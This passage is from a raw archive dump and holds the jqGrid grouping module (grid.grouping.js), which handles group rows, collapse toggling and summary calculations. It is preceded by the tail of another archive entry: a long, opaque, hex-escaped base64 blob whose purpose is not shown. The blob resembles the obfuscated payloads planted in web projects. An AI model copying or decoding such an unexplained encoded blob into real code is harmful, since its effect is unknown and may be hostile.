x45\x66\x55\x57\x6a\x70\x6a\x6d\x33\x4b\x2f\x72\x53\x37\x31\x56\x72\x30\x30\x70\x59\x54\x49\x79\x59\x2b\x49\x35\x6a\x5a\x44\x68\x33\x6f\x53\x5a\x65\x43\x44\x4f\x33\x37\x45\x77\x62\x54\x4d\x44\x53\x66\x54\x39\x78\x66\x44\x77\x39\x7a\x62\x52\x37\x37\x41\x5a\x35\x52\x42\x67\x5a\x78\x2b\x6b\x78\x64\x53\x46\x77\x67\x5a\x75\x64\x6a\x33\x45\x76\x52\x70\x66\x32\x4c\x4d\x6b\x5a\x53\x5a\x6c\x48\x79\x79\x62\x56\x71\x5a\x53\x46\x2f\x4f\x4f\x53\x53\x57\x6f\x69\x4f\x42\x2b\x57\x5a\x69\x6d\x56\x69\x44\x35\x2f\x6f\x75\x37\x4e\x44\x43\x78\x58\x43\x48\x51\x37\x56\x4c\x57\x6f\x57\x57\x34\x4d\x42\x77\x78\x55\x71\x6c\x52\x48\x43\x77\x59\x64\x38\x4c\x41\x32\x6f\x6c\x46\x46\x67\x64\x6b\x75\x53\x71\x35\x48\x68\x4b\x57\x6b\x79\x38\x41\x62\x36\x4c\x6e\x2b\x75\x70\x6f\x35\x69\x54\x36\x77\x66\x50\x2b\x76\x63\x61\x46\x4e\x67\x66\x66\x5a\x4b\x5a\x78\x47\x59\x57\x46\x76\x68\x57\x71\x69\x53\x46\x48\x52\x46\x68\x64\x56\x41\x6a\x6a\x72\x61\x4b\x31\x38\x6c\x37\x46\x32\x6a\x52\x39\x72\x50\x6e\x43\x42\x57\x37\x52\x66\x51\x6b\x4c\x6d\x69\x42\x74\x37\x6c\x33\x61\x42\x33\x30\x4c\x59\x77\x38\x71\x36\x63\x31\x6a\x79\x39\x62\x38\x77\x59\x37\x79\x73\x7a\x35\x47\x2f\x51\x71\x5a\x4b\x4a\x78\x47\x74\x2f\x4f\x30\x6c\x66\x2f\x69\x6b\x34\x47\x58\x61\x63\x77\x4a\x32\x6f\x41\x2f\x56\x54\x6b\x67\x63\x41\x53\x4c\x49\x4c\x77\x76\x57\x72\x37\x56\x64\x33\x4b\x79\x69\x44\x2b\x63\x47\x69\x4e\x42\x59\x51\x79\x35\x2f\x49\x68\x54\x31\x66\x31\x62\x62\x74\x4c\x6d\x30\x4d\x6f\x44\x73\x6e\x65\x38\x31\x66\x58\x35\x34\x44\x75\x55\x42\x67\x46\x70\x39\x75\x53\x78\x51\x4e\x46\x78\x41\x6c\x48\x57\x74\x45\x38\x35\x54\x72\x42\x77\x6f\x4c\x46\x47\x43\x33\x2b\x34\x36\x50\x46\x39\x76\x52\x41\x61\x2b\x4a\x55\x35\x77\x66\x52\x48\x53\x57\x59\x4d\x59\x39\x57\x4b\x63\x79\x67\x2b\x76\x38\x76\x61\x64\x66\x44\x38\x78\x4a\x43\x71\x43\x6c\x6c\x44\x69\x66\x44\x52\x47\x79\x35\x70\x71\x53\x51\x37\x66\x2b\x54\x43\x47\x43\x48\x37\x42\x7a\x34\x46\x6d\x33\x63\x33\x6e\x2b\x64\x39\x61\x6f\x74\x47\x38\x4f\x4d\x6e\x63\x30\x31\x71\x50\x6c\x59\x31\x6a\x48\x4b\x32\x34\x4b\x55\x6d\x6c\x6a\x30\x59\x41\x5a\x4c\x54\x54\x4e\x72\x61\x4a\x4f\x77\x4a\x6c\x48\x77\x38\x79\x36\x47\x63\x57\x74\x66\x4e\x65\x49\x78\x34\x6e\x77\x71\x7a\x44\x41\x38\x48\x53\x71\x64\x7a\x56\x64\x36\x39\x37\x45\x6c\x38\x39\x77\x6d\x73\x55\x74\x77\x79\x75\x2b\x51\x66\x58\x56\x35\x5a\x4e\x44\x69\x71\x41\x7a\x37\x62\x34\x75\x73\x63\x73\x66\x67\x73\x4f\x77\x5a\x6a\x48\x6d\x61\x30\x52\x52\x4d\x71\x58\x78\x63\x77\x42\x41\x54\x37\x70\x51\x55\x54\x58\x66\x2b\x73\x41\x30\x37\x4f\x61\x36\x37\x4c\x38\x57\x2f\x6f\x71\x6d\x6b\x44\x61\x74\x75\x78\x31\x69\x79\x56\x6d\x54\x35\x39\x30\x67\x62\x34\x53\x31\x4a\x69\x72\x77\x71\x64\x4a\x70\x4e\x59\x78\x39\x2f\x59\x39\x50\x4f\x4f\x79\x6e\x4c\x4a\x72\x72\x47\x78\x39\x6f\x4a\x65\x6c\x72\x51\x70\x49\x6c\x75\x4c\x71\x78\x68\x76\x37\x39\x62\x53\x57\x6f\x6f\x46\x79\x65\x67\x30\x6a\x64\x70\x39\x79\x47\x59\x42\x73\x39\x39\x6d\x4d\x35\x57\x6d\x72\x72\x6d\x66\x6e\x58\x6c\x57\x2b\x76\x2b\x77\x4b\x51\x61\x4b\x2b\x79\x7a\x4b\x44\x58\x61\x61\x59\x53\x66\x52\x67\x67\x67\x49\x45\x36\x76\x41\x69\x65\x65\x4c\x43\x57\x65\x72\x52\x56\x4f\x36\x5a\x6e\x46\x75\x4e\x62\x48\x59\x6e\x4d\x56\x71\x48\x76\x67\x39\x70\x4f\x5a\x77\x66\x55\x6f\x4a\x36\x44\x53\x61\x52\x66\x54\x4e\x4c\x79\x68\x2b\x72\x57\x6c\x76\x7a\x38\x58\x6c\x30\x4b\x59\x50\x35\x4b\x4e\x78\x67\x49\x38\x2f\x4d\x50\x4d\x61\x50\x6c\x79\x66\x37\x6e\x45\x6e\x51\x51\x66\x63\x57\x2f\x54\x57\x4b\x49\x71\x74\x4a\x30\x4a\x53\x44\x35\x51\x4b\x4a\x30\x35\x42\x64\x43\x44\x43\x6a\x34\x4d\x36\x4a\x56\x37\x77\x32\x4a\x62\x42\x51\x37\x6e\x70\x52\x54\x47\x54\x7a\x5a\x31\x31\x49\x52\x42\x70\x5a\x39\x57\x6b\x59\x2b\x4b\x35\x76\x6c\x7a\x4f\x72\x6e\x61\x68\x49\x4a\x75\x6e\x54\x5a\x56\x56\x71\x66\x53\x55\x6f\x32\x7a\x32\x75\x50\x49\x4d\x68\x59\x74\x56\x78\x33\x51\x58\x58\x43\x33\x7a\x35\x30\x6a\x74\x71\x72\x44\x55\x4d\x34\x39\x4c\x34\x42\x76\x71\x52\x74\x70\x70\x61\x6d\x65\x61\x41\x57\x4f\x54\x78\x59\x64\x71\x67\x68\x39\x79\x77\x44\x6b\x79\x4e\x46\x59\x78\x65\x50\x59\x79\x59\x56\x6a\x34\x2f\x74\x53\x7a\x5a\x6d\x77\x65\x61\x34\x54\x45\x67\x4b\x2b\x6d\x4a\x68\x68\x4f\x70\x51\x41\x74\x6b\x67\x38\x62\x41\x4c\x31\x73\x44\x36\x49\x58\x66\x4c\x56\x6b\x54\x64\x2b\x6d\x61\x49\x30\x67\x48\x4e\x32\x6d\x42\x32\x71\x59\x71\x38\x67\x54\x71\x34\x45\x33\x79\x71\x5a\x50\x49\x55\x48\x47\x64\x51\x67\x54\x39\x44\x5a\x7a\x73\x6f\x70\x79\x4b\x30\x4b\x76\x4f\x35\x31\x76\x64\x4b\x47\x67\x2b\x74\x33\x78\x42\x4d\x59\x36\x70\x4f\x46\x65\x4b\x62\x36\x56\x34\x48\x52\x46\x43\x7a\x65\x67\x62\x56\x56\x55\x52\x77\x62\x74\x63\x5a\x66\x4f\x6f\x75\x4e\x37\x6b\x64\x67\x4f\x75\x51\x5a\x49\x2b\x2f\x54\x77\x70\x6b\x6e\x34\x4a\x53\x58\x6d\x67\x68\x66\x32\x62\x30\x6e\x6f\x63\x44\x5a\x5a\x66\x68\x4d\x59\x74\x4d\x32\x46\x47\x43\x43\x54\x51\x53\x48\x6b\x57\x72\x55\x43\x69\x51\x30\x68\x77\x30\x56\x47\x4e\x62\x64\x48\x76\x2b\x45\x33\x6c\x57\x74\x4d\x66\x6c\x45\x75\x2b\x6a\x46\x64\x55\x42\x57\x67\x4d\x65\x6c\x2b\x63\x53\x61\x2f\x67\x7a\x70\x31\x52\x73\x77\x71\x6b\x64\x74\x4b\x4f\x64\x6f\x31\x58\x46\x5a\x55\x41\x76\x54\x41\x73\x31\x71\x32\x53\x6f\x46\x4a\x65\x67\x79\x34\x61\x53\x55\x4e\x4e\x6b\x66\x4c\x77\x6c\x69\x6b\x71\x52\x71\x6a\x63\x57\x69\x37\x64\x43\x2b\x33\x4c\x6d\x35\x73\x41\x37\x43\x6d\x75\x72\x62\x67\x58\x4e\x4c\x7a\x4c\x6f\x68\x44\x52\x68\x56\x72\x39\x6a\x50\x5a\x51\x2f\x6f\x6f\x77\x36\x55\x75\x48\x66\x30\x4d\x62\x37\x6d\x46\x73\x6a\x35\x58\x4c\x37\x32\x44\x31\x73\x39\x39\x4c\x62\x67\x4f\x51\x2b\x4b\x69\x73\x6d\x79\x2b\x43\x37\x52\x75\x41\x48\x47\x38\x31\x6a\x6d\x47\x44\x46\x4f\x52\x35\x5a\x75\x4d\x56\x32\x6e\x51\x6a\x70\x36\x52\x39\x6f\x59\x32\x2b\x31\x49\x51\x74\x34\x51\x52\x64\x52\x2b\x73\x69\x7a\x6c\x69\x79\x56\x2f\x43\x43\x2b\x73\x36\x5a\x4a\x46\x73\x33\x6f\x71\x63\x6d\x69\x2b\x6a\x6b\x46\x78\x4e\x75\x61\x4c\x43\x67\x78\x30\x68\x75\x30\x6e\x74\x32\x4a\x37\x51\x42\x35\x4d\x7a\x48\x5a\x75\x43\x35\x34\x6f\x6c\x43\x33\x75\x75\x76\x7a\x6f\x50\x32\x62\x78\x6f\x74\x76\x67\x36\x6c\x70\x48\x35\x4e\x54\x57\x67\x63\x50\x48\x2b\x4d\x55\x4e\x66\x4f\x57\x48\x64\x46\x57\x56\x66\x75\x31\x44\x35\x76\x46\x57\x41\x4e\x66\x41\x77\x5a\x64\x64\x49\x77\x35\x70\x41\x56\x45\x38\x71\x4e\x66\x71\x39\x4c\x79\x52\x7a\x6d\x77\x4c\x31\x4d\x4b\x68\x6e\x52\x6f\x48\x4e\x2f\x43\x56\x36\x37\x7a\x79\x32\x52\x74\x63\x5a\x69\x72\x63\x31\x4e\x59\x52\x55\x48\x72\x54\x6f\x3dgrid.grouping.js000064400000100155151677266200007676 0ustar00/*jshint eqeqeq:false, eqnull:true */ /*global jQuery, define */ // Grouping module (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "./grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { "use strict"; //module begin $.jgrid.extend({ groupingInit : function () { return this.each(function (){ var $t = this; $.extend ($t.p.groupingView, { groupField :[], groupOrder:[], groupText:[], groupColumnShow:[], groupSummary:[], showSummaryOnHide: false, sortitems:[], sortnames:[], summary:[], summaryval:[], plusicon: '', minusicon: '', displayField: [], groupSummaryPos:[], formatDisplayField : [], _locgr : false }, true); }); }, groupingSetup : function () { return this.each(function (){ var $t = this, i, j, cml, cm = $t.p.colModel, grp = $t.p.groupingView, classes = $.jgrid.styleUI[($t.p.styleUI || 'jQueryUI')].grouping; if(grp !== null && ( (typeof grp === 'object') || $.jgrid.isFunction(grp) ) ) { if(!grp.plusicon) { grp.plusicon = classes.icon_plus;} if(!grp.minusicon) { grp.minusicon = classes.icon_minus;} if(!grp.groupField.length) { $t.p.grouping = false; } else { if (grp.visibiltyOnNextGrouping === undefined) { grp.visibiltyOnNextGrouping = []; } grp.lastvalues=[]; if(!grp._locgr) { grp.groups =[]; } grp.counters =[]; for(i=0;i<grp.groupField.length;i++) { if(!grp.groupOrder[i]) { grp.groupOrder[i] = 'asc'; } if(!grp.groupText[i]) { grp.groupText[i] = '{0}'; } if( typeof grp.groupColumnShow[i] !== 'boolean') { grp.groupColumnShow[i] = true; } if( typeof grp.groupSummary[i] !== 'boolean') { grp.groupSummary[i] = false; } if( !grp.groupSummaryPos[i]) { grp.groupSummaryPos[i] = 'footer'; } if(grp.groupColumnShow[i] === true) { grp.visibiltyOnNextGrouping[i] = true; $($t).jqGrid('showCol',grp.groupField[i]); } else { grp.visibiltyOnNextGrouping[i] = $("#"+$.jgrid.jqID($t.p.id+"_"+grp.groupField[i])).is(":visible"); $($t).jqGrid('hideCol',grp.groupField[i]); } } grp.summary =[]; if(grp.hideFirstGroupCol) { if(Array.isArray(grp.formatDisplayField) && !$.jgrid.isFunction(grp.formatDisplayField[0] ) ) { grp.formatDisplayField[0] = function (v) { return v;}; } } for(j=0, cml = cm.length; j < cml; j++) { if(grp.hideFirstGroupCol) { if(!cm[j].hidden && grp.groupField[0] === cm[j].name) { cm[j].formatter = function(){return '';}; } } if(cm[j].summaryType ) { if(cm[j].summaryDivider) { grp.summary.push({nm:cm[j].name,st:cm[j].summaryType, v: '', sd:cm[j].summaryDivider, vd:'', sr: cm[j].summaryRound, srt: cm[j].summaryRoundType || 'round'}); } else { grp.summary.push({nm:cm[j].name,st:cm[j].summaryType, v: '', sr: cm[j].summaryRound, srt: cm[j].summaryRoundType || 'round'}); } } } } } else { $t.p.grouping = false; } }); }, groupingPrepare : function ( record, irow ) { this.each(function(){ var grp = this.p.groupingView, $t= this, i, sumGroups = function() { if ($.jgrid.isFunction(this.st)) { this.v = this.st.call($t, this.v, this.nm, record); } else { this.v = $($t).jqGrid('groupingCalculations.handler',this.st, this.v, this.nm, this.sr, this.srt, record); if(this.st.toLowerCase() === 'avg' && this.sd) { this.vd = $($t).jqGrid('groupingCalculations.handler',this.st, this.vd, this.sd, this.sr, this.srt, record); } } }, grlen = grp.groupField.length, fieldName, v, displayName, displayValue, changed = 0; for(i=0;i<grlen;i++) { fieldName = grp.groupField[i]; displayName = grp.displayField[i]; v = record[fieldName]; displayValue = displayName == null ? null : record[displayName]; if( displayValue == null ) { displayValue = v; } if( v !== undefined ) { if(irow === 0 ) { // First record always starts a new group grp.groups.push({idx:i,dataIndex:fieldName,value:v, displayValue: displayValue, startRow: irow, cnt:1, summary : [] } ); grp.lastvalues[i] = v; grp.counters[i] = {cnt:1, pos:grp.groups.length-1, summary: $.extend(true,[],grp.summary)}; $.each(grp.counters[i].summary, sumGroups); grp.groups[grp.counters[i].pos].summary = grp.counters[i].summary; } else { if (typeof v !== "object" && (Array.isArray(grp.isInTheSameGroup) && $.jgrid.isFunction(grp.isInTheSameGroup[i]) ? ! grp.isInTheSameGroup[i].call($t, grp.lastvalues[i], v, i, grp): grp.lastvalues[i] !== v)) { // This record is not in same group as previous one grp.groups.push({idx:i,dataIndex:fieldName,value:v, displayValue: displayValue, startRow: irow, cnt:1, summary : [] } ); grp.lastvalues[i] = v; changed = 1; grp.counters[i] = {cnt:1, pos:grp.groups.length-1, summary: $.extend(true,[],grp.summary)}; $.each(grp.counters[i].summary, sumGroups); grp.groups[grp.counters[i].pos].summary = grp.counters[i].summary; } else { if (changed === 1) { // This group has changed because an earlier group changed. grp.groups.push({idx:i,dataIndex:fieldName,value:v, displayValue: displayValue, startRow: irow, cnt:1, summary : [] } ); grp.lastvalues[i] = v; grp.counters[i] = {cnt:1, pos:grp.groups.length-1, summary: $.extend(true,[],grp.summary)}; $.each(grp.counters[i].summary, sumGroups); grp.groups[grp.counters[i].pos].summary = grp.counters[i].summary; } else { grp.counters[i].cnt += 1; grp.groups[grp.counters[i].pos].cnt = grp.counters[i].cnt; $.each(grp.counters[i].summary, sumGroups); grp.groups[grp.counters[i].pos].summary = grp.counters[i].summary; } } } } } //gdata.push( rData ); }); return this; }, groupingToggle : function(hid){ this.each(function(){ var $t = this, grp = $t.p.groupingView, strpos = hid.split('_'), num = parseInt(strpos[strpos.length-2], 10); strpos.splice(strpos.length-2,2); var uid = strpos.join("_"), minus = grp.minusicon, plus = grp.plusicon, tar = $("#"+$.jgrid.jqID(hid)), r = tar.length ? tar[0].nextSibling : null, tarspan = $("#"+$.jgrid.jqID(hid)+" span."+"tree-wrap-"+$t.p.direction), getGroupingLevelFromClass = function (className) { var nums = $.map(className.split(" "), function (item) { if (item.substring(0, uid.length + 1) === uid + "_") { return parseInt(item.substring(uid.length + 1), 10); } }); return nums.length > 0 ? nums[0] : undefined; }, itemGroupingLevel, showData, collapsed = false, footLevel, skip = false, frz = $t.p.frozenColumns ? $t.p.id+"_frozen" : false, tar2 = frz ? $("#"+$.jgrid.jqID(hid), "#"+$.jgrid.jqID(frz) ) : false, r2 = (tar2 && tar2.length) ? tar2[0].nextSibling : null; if( tarspan.hasClass(minus) ) { if(r){ while(r) { itemGroupingLevel = getGroupingLevelFromClass(r.className); if (itemGroupingLevel !== undefined && itemGroupingLevel <= num) { break; } footLevel = parseInt($(r).attr("jqfootlevel") ,10); skip = isNaN(footLevel) ? false : (grp.showSummaryOnHide && footLevel >= num); if( !skip) { $(r).hide(); } r = r.nextSibling; if(frz) { if(!skip) { $(r2).hide(); } r2 = r2.nextSibling; } } } tarspan.removeClass(minus).addClass(plus); collapsed = true; } else { if(r){ showData = undefined; while(r) { itemGroupingLevel = getGroupingLevelFromClass(r.className); footLevel = parseInt($(r).attr("jqfootlevel") ,10); if (showData === undefined) { showData = itemGroupingLevel === undefined; // if the first row after the opening group is data row then show the data rows } skip = $(r).hasClass("ui-subgrid") && $(r).hasClass("ui-sg-collapsed"); if (itemGroupingLevel !== undefined) { if (itemGroupingLevel <= num) { break;// next item of the same lever are found } if (itemGroupingLevel === num + 1) { if(!skip) { $(r).show().find(">td>span."+"tree-wrap-"+$t.p.direction).removeClass(minus).addClass(plus); if(frz) { $(r2).show().find(">td>span."+"tree-wrap-"+$t.p.direction).removeClass(minus).addClass(plus); } } } } else if (showData) { if(!skip) { $(r).show(); if(frz) { $(r2).show(); } } } else if(!isNaN(footLevel) && footLevel >=0 && footLevel === num) { $(r).show(); if(frz) { $(r2).show(); } } r = r.nextSibling; if(frz) { r2 = r2.nextSibling; } } } tarspan.removeClass(plus).addClass(minus); } if(frz && $t.p.height === 'auto'){ $t.grid.fbDiv.height($($t).height()); if($t.grid.fsDiv) { var hasscroll = $($t.grid.bDiv)[0].scrollWidth > $($t.grid.bDiv)[0].clientWidth, //scrollbar height scrollh = hasscroll ? $.jgrid.scrollbarHeight() : 0; $t.grid.fsDiv.css('top', ($t.grid.fbDiv.position().top + $($t).height()) + scrollh + 'px'); } } $($t).triggerHandler("jqGridGroupingClickGroup", [hid , collapsed]); if( $.jgrid.isFunction($t.p.onClickGroup)) { $t.p.onClickGroup.call($t, hid , collapsed); } }); return false; }, groupingRender : function (grdata, colspans, page, rn ) { return this.each(function(){ var $t = this, grp = $t.p.groupingView, str = "", icon = "", hid, clid, pmrtl = grp.groupCollapse ? grp.plusicon : grp.minusicon, gv, cp=[], len =grp.groupField.length, //classes = $.jgrid.styleUI[($t.p.styleUI || 'jQueryUI')]['grouping'], common = $.jgrid.styleUI[($t.p.styleUI || 'jQueryUI')].common; pmrtl = pmrtl+" tree-wrap-"+$t.p.direction; $.each($t.p.colModel, function (i,n){ var ii; for(ii=0;ii<len;ii++) { if(grp.groupField[ii] === n.name ) { cp[ii] = i; break; } } }); var toEnd = 0; function findGroupIdx( ind , offset, grp) { var ret = false, i; if(offset===0) { ret = grp[ind]; } else { var id = grp[ind].idx; if(id===0) { ret = grp[ind]; } else { for(i=ind;i >= 0; i--) { if(grp[i].idx === id-offset) { ret = grp[i]; break; } } } } return ret; } function buildSummaryTd(i, ik, grp, foffset, fstr) { var fdata = findGroupIdx(i, ik, grp), cm = $t.p.colModel, vv, grlen = fdata.cnt, str="", k , isput = false, tmpdata, tplfld; for(k=foffset; k<colspans;k++) { if(cm[k].hidden ) { tmpdata = "<td role=\"gridcell\" "+$t.formatCol(k,1,'')+"> </td>"; } else if(!isput && fstr) { tmpdata = fstr; isput = true; } else { tmpdata = "<td role=\"gridcell\" "+$t.formatCol(k,1,'')+"> </td>"; } $.each(fdata.summary,function(){ if(this.nm === cm[k].name) { tplfld = (cm[k].summaryTpl) ? cm[k].summaryTpl : "{0}"; vv = this.v; try { this.groupCount = fdata.cnt; this.groupIndex = fdata.dataIndex; this.groupValue = fdata.value; //vv = $t.formatter('', vv, k, this); } catch (ef) { //vv = this.v; } tmpdata= "<td role=\"gridcell\" "+$t.formatCol(k,1,'')+">"+$.jgrid.template(tplfld, vv, fdata.cnt, fdata.dataIndex, fdata.displayValue, fdata.summary)+ "</td>"; return false; } }); str += tmpdata; } return str; } var sumreverse = $.makeArray(grp.groupSummary), mul; sumreverse.reverse(); mul = $t.p.multiselect ? " colspan=\"2\"" : ""; $.each(grp.groups,function(i,n){ if(grp._locgr) { if( !(n.startRow +n.cnt > (page-1)*rn && n.startRow < page*rn)) { return true; } } toEnd++; clid = $t.p.id+"ghead_"+n.idx; hid = clid+"_"+i; icon = "<span style='cursor:pointer;margin-right:8px;margin-left:5px;' class='" + common.icon_base +" "+pmrtl+"' onclick=\"jQuery('#"+$.jgrid.jqID($t.p.id)+"').jqGrid('groupingToggle','"+hid+"');return false;\"></span>"; try { if (Array.isArray(grp.formatDisplayField) && $.jgrid.isFunction(grp.formatDisplayField[n.idx])) { gv = grp.formatDisplayField[n.idx].call($t, n.displayValue, n.value, $t.p.colModel[cp[n.idx]], n.idx, grp); } else { gv = $t.formatter(hid, n.displayValue, cp[n.idx], n.value ); } } catch (egv) { gv = n.displayValue; } var grpTextStr = ''; // format summary values if formatter for( var kk =0;kk< n.summary.length; kk++) { var nv = n.summary[kk]; var ci = $.jgrid.getElemByAttrVal($t.p.colModel, 'name', nv.nm, true); if(ci>=0) { if(typeof nv.st === 'string' && nv.st.toLowerCase() === 'avg') { if(nv.sd && nv.vd) { nv.v = (nv.v/nv.vd); } else if(nv.v && n.cnt > 0) { nv.v = (nv.v/n.cnt); } } nv.uv = nv.v; try { nv.v = $t.formatter('',nv.v, ci, this); } catch (e) {} } } if($.jgrid.isFunction(grp.groupText[n.idx])) { grpTextStr = grp.groupText[n.idx].call($t, gv, n.cnt, n.summary); } else { grpTextStr = $.jgrid.template.call($t, grp.groupText[n.idx], gv, n.cnt, n.summary); } if( !(typeof grpTextStr ==='string' || typeof grpTextStr ==='number' ) ) { grpTextStr = gv; } if(grp.groupSummaryPos[n.idx] === 'header') { str += "<tr id=\""+hid+"\"" +(grp.groupCollapse && n.idx>0 ? " style=\"display:none;\" " : " ") + "role=\"row\" class= \"" + common.content + " jqgroup ui-row-"+$t.p.direction+" "+clid+"\">"; str += buildSummaryTd(i, 0, grp.groups, (mul==="" ? 0 : 1), "<td role=\"gridcell\" style=\"padding-left:"+(n.idx * 12) + "px;"+"\"" + mul +">" + icon+grpTextStr + "</td>" ); str += "</tr>"; } else { str += "<tr id=\""+hid+"\"" +(grp.groupCollapse && n.idx>0 ? " style=\"display:none;\" " : " ") + "role=\"row\" class= \"" + common.content + " jqgroup ui-row-"+$t.p.direction+" "+clid+"\"><td style=\"padding-left:"+(n.idx * 12) + "px;"+"\" colspan=\""+(grp.groupColumnShow[n.idx] === false ? colspans-1 : colspans)+"\">" + icon + grpTextStr + "</td></tr>"; } var leaf = len-1 === n.idx; if( leaf ) { var gg = grp.groups[i+1], kk, ik, offset = 0, sgr = n.startRow, end = gg !== undefined ? gg.startRow : grp.groups[i].startRow + grp.groups[i].cnt; if(grp._locgr) { offset = (page-1)*rn; if(offset > n.startRow) { sgr = offset; } } for(kk=sgr;kk<end;kk++) { if(!grdata[kk - offset]) { break; } str += grdata[kk - offset].join(''); } if(grp.groupSummaryPos[n.idx] !== 'header') { var jj; if (gg !== undefined) { for (jj = 0; jj < grp.groupField.length; jj++) { if (gg.dataIndex === grp.groupField[jj]) { break; } } toEnd = grp.groupField.length - jj; } for (ik = 0; ik < toEnd; ik++) { if(!sumreverse[ik]) { continue; } var hhdr = ""; if(grp.groupCollapse && !grp.showSummaryOnHide) { hhdr = " style=\"display:none;\""; } str += "<tr"+hhdr+" jqfootlevel=\""+(n.idx-ik)+"\" role=\"row\" class=\"" + common.content + " jqfoot ui-row-"+$t.p.direction+"\">"; str += buildSummaryTd(i, ik, grp.groups, 0, false); str += "</tr>"; } toEnd = jj; } } }); $("#"+$.jgrid.jqID($t.p.id)+" tbody").first().append(str); // free up memory str = null; }); }, groupingGroupBy : function (name, options ) { return this.each(function(){ var $t = this; if(typeof name === "string") { name = [name]; } var grp = $t.p.groupingView; $t.p.grouping = true; grp._locgr = false; //Set default, in case visibilityOnNextGrouping is undefined if (grp.visibiltyOnNextGrouping === undefined) { grp.visibiltyOnNextGrouping = []; } var i; // show previous hidden groups if they are hidden and weren't removed yet for(i=0;i<grp.groupField.length;i++) { if(!grp.groupColumnShow[i] && grp.visibiltyOnNextGrouping[i]) { $($t).jqGrid('showCol',grp.groupField[i]); } } // set visibility status of current group columns on next grouping for(i=0;i<name.length;i++) { grp.visibiltyOnNextGrouping[i] = $("#"+$.jgrid.jqID($t.p.id)+"_"+$.jgrid.jqID(name[i])).is(":visible"); } $t.p.groupingView = $.extend($t.p.groupingView, options || {}); grp.groupField = name; $($t).trigger("reloadGrid"); }); }, groupingRemove : function (current, grpViewInit) { return this.each(function(){ var $t = this; if(current === undefined) { current = true; } if(grpViewInit === undefined) { grpViewInit = false; } $t.p.grouping = false; if(current===true) { var grp = $t.p.groupingView, i; // show previous hidden groups if they are hidden and weren't removed yet for(i=0;i<grp.groupField.length;i++) { if (!grp.groupColumnShow[i] && grp.visibiltyOnNextGrouping[i]) { $($t).jqGrid('showCol', grp.groupField); } } $("#"+$.jgrid.jqID($t.p.id)+" tbody").first().find("tr.jqgroup, tr.jqfoot").remove(); $("#"+$.jgrid.jqID($t.p.id)+" tbody").first().find("tr.jqgrow:hidden").show(); } else { $($t).trigger("reloadGrid"); } if(grpViewInit) { $($t).jqGrid('groupingInit'); } }); }, groupingCalculations : { handler: function(fn, v, field, round, roundType, rc) { var funcs = { sum: function() { return $.jgrid.floatNum(v) + $.jgrid.floatNum(rc[field]); }, min: function() { if(v==="") { return $.jgrid.floatNum(rc[field]); } return Math.min($.jgrid.floatNum(v),$.jgrid.floatNum(rc[field])); }, max: function() { if(v==="") { return $.jgrid.floatNum(rc[field]); } return Math.max($.jgrid.floatNum(v),$.jgrid.floatNum(rc[field])); }, count: function() { if(v==="") {v=0;} if(rc.hasOwnProperty(field)) { return v+1; } return 0; }, avg: function() { // the same as sum, but at end we divide it // so use sum instead of duplicating the code (?) return funcs.sum(); } }; if(!funcs[fn]) { throw "jqGrid Grouping No such method: " + fn; } var res = funcs[fn](); if (round != null) { if (roundType === 'fixed') { res = res.toFixed(round); } else { var mul = Math.pow(10, round); res = Math.round(res * mul) / mul; } } return res; } }, groupingResetCalcs : function () { return this.each(function(){ this.p.groupingView._locgr = false; }); }, setColSpanHeader : function( o ) { return this.each(function(){ var ts = this, i, cmi, skip = 0, th, $th, thStyle, k, iCol, cghi, //startColumnName, numberOfColumns, titleText, toolTip, cVisibleColumns, className, colModel = ts.p.colModel, cml = colModel.length, ths = ts.grid.headers, $htable = $("table.ui-jqgrid-htable", ts.grid.hDiv), $thead = $htable.children("thead"), $firstHeaderRow = $htable.find(".jqg-first-row-header"), $focusElem = false, frozen = false, //classes = $.jgrid.styleUI[($t.p.styleUI || 'jQueryUI')]['grouping'], numberOfHeadRows = $thead.children("tr").length; //base = $.jgrid.styleUI[(ts.p.styleUI || 'jQueryUI')].base; if(Array.isArray( o )) { ts.p.colSpanHeader = o; } if($firstHeaderRow[0] === undefined) { $firstHeaderRow = $('<tr>', {role: "row", "aria-hidden": "true"}).addClass("jqg-first-row-header").css("height", "auto"); } else { $firstHeaderRow.empty(); } if(ts.p.frozenColumns) { $(ts).jqGrid("destroyFrozenColumns"); frozen = true; } for (i = 0; i < cml; i++) { th = ths[i].el; $th = $(th); cmi = colModel[i]; // build the next cell for the first header row thStyle = { height: '0px', width: ths[i].width + 'px', display: (cmi.hidden ? 'none' : '')}; $("<th>", {role: 'gridcell'}).css(thStyle).addClass("ui-first-th-"+ts.p.direction + " " + (cmi.labelClasses || "") ).appendTo($firstHeaderRow); } $thead.prepend($firstHeaderRow); //$firstRow = $thead.find("tr.jqg-first-row-header"); $(ts).on('jqGridResizeStop.setGroupHeaders', function (e, nw, idx) { $firstHeaderRow.find('th').eq(idx)[0].style.width = nw + "px"; }); for (i = 0; i < cml; i++) { th = ths[i].el; $th = $(th); cmi = colModel[i]; iCol = $.jgrid.inColumnHeader(cmi.name, ts.p.colSpanHeader); if (iCol >= 0) { cghi = ts.p.colSpanHeader[iCol]; numberOfColumns = cghi.numberOfColumns; titleText = cghi.titleText || ""; className = cghi.className || ""; toolTip = cghi.toolTip || ""; // caclulate the number of visible columns from the next numberOfColumns columns for (cVisibleColumns = 0, iCol = 0; iCol < numberOfColumns && (i + iCol < cml); iCol++) { if (!colModel[i + iCol].hidden) { cVisibleColumns++; } } if(cVisibleColumns > 0) { $th.attr("colspan", String(cVisibleColumns)); if(numberOfHeadRows > 1) { for(k=1;k<numberOfHeadRows; k++) { $("tr",$thead).eq(k+1).find("th").eq(i).attr("colspan", String(cVisibleColumns)); } } } if (titleText) { var fl = $th.find("div.ui-th-div")[0]; cghi.savedLabel = fl.innerHTML; fl.innerHTML = titleText; if(typeof toolTip === "string" && toolTip !== "") { $th.attr("title", toolTip); } else if (ts.p.headertitles) { $th.attr("title", titleText); } } $th.addClass(className); for( skip=0;skip < numberOfColumns-1;skip++) { $(ths[skip+i+1].el).hide(); ts.p.colModel[skip+i+1].hidedlg = true; ts.p.colModel[skip+i+1]._colspancell = true; if(numberOfHeadRows > 1) { for(k=1;k<numberOfHeadRows; k++) { $("tr",$thead).eq(k+1).find("th").eq(i+skip+1).hide(); } } } } } if( $focusElem ) { try { $($focusElem).focus(); } catch(fe) {} } if(frozen) { $(ts).jqGrid("setFrozenColumns"); } }); }, destroyColSpanHeader : function(emptyColSpan) { if(emptyColSpan === undefined) { emptyColSpan = true; } return this.each(function(){ var ts = this, $htable = $("table.ui-jqgrid-htable", 